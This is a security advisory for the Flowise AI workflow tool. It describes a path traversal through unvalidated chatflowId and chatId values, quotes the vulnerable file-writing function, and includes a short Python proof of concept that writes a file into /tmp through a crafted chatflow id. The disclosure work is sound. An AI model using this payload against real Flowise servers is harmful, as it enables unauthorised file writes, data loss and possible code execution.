Vulnerability Instance

Flowise has arbitrary file access due to missing chat flow id validation
### Summary

Missing chat flow id validation allows an attacker to access arbitrary file.

### Details

Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however,  `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues.

**Case 1**

When creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.

```typescript
export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
    // ...
    } else {
        const dir = path.join(getStoragePath(), chatflowid)  // path traversal here
        if (!fs.existsSync(dir)) {
            fs.mkdirSync(dir, { recursive: true })
        }

        const splitDataURI = fileBase64.split(',')
        const filename = splitDataURI.pop()?.split(':')[1] ?? ''
        const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
        const sanitizedFilename = _sanitizeFilename(filename)

        const filePath = path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::' + JSON.stringify(fileNames)
    }
}
```

**Case 2**

When downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path.

Note that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication.

### PoC

Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'.

```python
import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
  "category" : "Document Loaders",
  "inputs" : {
    "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
  }
}
flownode = {
  "id" : "a",
  "data" : nodedata
}
flowdata = {
  "nodes" : [flownode],
  "edges" : [],
  "viewport" : {
    "x" : 1,
    "y" : 1,
    "zoom" : 1
  }
}
data = {
  "id" : "../../../../../tmp",
  "name" : "name",
  "flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)
```

### Impact

1. Arbitrary file read / write
2. Remote Code Execution
3. Data loss